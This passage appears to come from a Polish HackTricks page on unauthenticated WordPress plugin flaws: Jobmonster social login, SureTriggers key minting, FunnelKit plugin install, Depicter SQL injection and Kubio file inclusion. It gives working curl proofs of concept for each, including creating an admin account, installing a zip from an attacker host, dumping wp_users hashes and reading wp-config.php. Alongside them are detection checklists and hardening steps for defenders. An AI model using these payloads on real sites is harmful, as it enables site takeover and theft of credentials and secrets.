-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Oczekiwane wskaźniki powodzenia

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* dla zaatakowanego użytkownika; kolejne żądania są uwierzytelnione.

Znajdowanie nazwy akcji

  • Przeanalizuj motyw/plugin pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php).
  • Przeszukaj (grep) wystąpienia wp_set_auth_cookie(), get_user_by('email', ...) w handlerach AJAX.

Lista kontrolna wykrywania

  • Logi webowe pokazujące nieautoryzowane POSTy do /wp-admin/admin-ajax.php z akcją social-login i id=.
  • Odpowiedzi 200 z JSONem powodzenia bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent.

Wzmocnienie zabezpieczeń

  • Nie wyprowadzaj tożsamości z danych od klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zweryfikowanego provider token/ID.
  • Wymagaj CSRF nonces i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że absolutnie konieczne.
  • Weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych providerów (bez fallbacku do POST id).
  • Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na krawędzi (zablokowanie podatnej akcji) do czasu naprawy.

Zachowanie po łacie (Jobmonster 4.8.0)

  • Usunięto niebezpieczny fallback z $_POST['id']; $user_email musi pochodzić z zweryfikowanych gałęzi provider w switch($_POST['using']).

Nieautoryzowana eskalacja uprawnień przez wydawanie REST token/key na przewidywalnej tożsamości (OttoKit/SureTriggers ≤ 1.0.82)

Niektóre wtyczki udostępniają REST endpoints, które wydają wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli route uwierzytelnia się jedynie na podstawie łatwego do odgadnięcia atrybutu (np. username) i nie powiązuje klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, dowolny nieautoryzowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admin, akcje wtyczki → RCE).

  • Podatna ścieżka (przykład): sure-triggers/v1/connection/create-wp-connection
  • Błąd: akceptuje username, wydaje connection key bez current_user_can() lub rygorystycznej permission_callback
  • Wpływ: pełne przejęcie poprzez powiązanie wygenerowanego klucza z wewnętrznymi uprzywilejowanymi akcjami

PoC – wygeneruj connection key i użyj go

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Dlaczego to jest podatne

  • Wrażliwa REST route chroniona wyłącznie niską entropią potwierdzenia tożsamości (username) lub brakiem permission_callback
  • Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalne obejście

Lista kontrolna wykrywania

  • Przeszukaj kod pluginu pod kątem register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Każda route, która wydaje tokens/keys na podstawie tożsamości podanej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability
  • Szukaj kolejnych route, które akceptują wygenerowany token/key bez sprawdzeń capability po stronie serwera

Wzmocnienie

  • Dla każdej uprzywilejowanej REST route: wymagaj permission_callback, który wymusza current_user_can() dla wymaganej capability
  • Nie generuj długotrwałych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability przy użyciu
  • Waliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can()

Nonce gate misuse → instalacja dowolnego pluginu bez uwierzytelnienia (FunnelKit Automations ≤ 3.5.3)

Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pomyślne sprawdzenie nonce jako zielone światło i pomija sprawdzenia capability dla uprzywilejowanych operacji (np. install/activate plugins), nieuwierzytelnieni atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored lub vulnerable plugin.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Lista kontrolna wykrywania

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Każda ścieżka kodu, która ustawia $skip_caps = true po walidacji nonce

Wzmocnienie

  • Zawsze traktuj nonce jako tokeny CSRF tylko; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce
  • Wymagaj current_user_can('install_plugins') i current_user_can('activate_plugins') przed dotarciem do kodu instalatora
  • Odrzucaj dostęp bez uwierzytelnienia; unikaj ujawniania nopriv AJAX actions dla uprzywilejowanych przepływów

SQLi bez uwierzytelnienia przez parametr s (search) w akcjach depicter-* (Depicter Slider ≤ 3.6.1)

Wiele akcji depicter-* pobierało parametr s (search) i konkatenowało go do zapytań SQL bez parametryzacji.

  • Parametr: s (search)
  • Błąd: bezpośrednie konkatenowanie łańcuchów w klauzulach WHERE/LIKE; brak zapytań przygotowanych i sanitizacji
  • Wpływ: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grepuj depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w zapytaniach SQL
  • Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query() łączące parametr s

Hardening

  • Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane metaznaki po stronie serwera
  • Dodaj ścisłą allowlistę dla s i normalizuj do oczekiwanego charset/length

Local File Inclusion bez uwierzytelnienia przez niezwalidowaną ścieżkę szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1)

Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze szablonu bez normalizacji/ograniczenia pozwala na odczyt dowolnych lokalnych plików, a czasem wykonanie kodu jeśli includowalne pliki PHP/logi zostaną załadowane do runtime.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: brak normalizacji/allowlisty; path traversal dozwolony
  • Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w specyficznych środowiskach (log poisoning, includable PHP)

PoC – odczyt wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Lista kontrolna wykrywania

  • Każdy handler łączący ścieżki żądań w include()/require()/read sinks bez ograniczenia przez realpath()
  • Szukaj wzorców traversal (../) wychodzących poza zamierzony katalog templates

Wzmocnienie

  • Wymuszaj szablony z allowlisty; rozwiąż ścieżki za pomocą realpath() i wymagaj str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki bezwzględne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek)

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks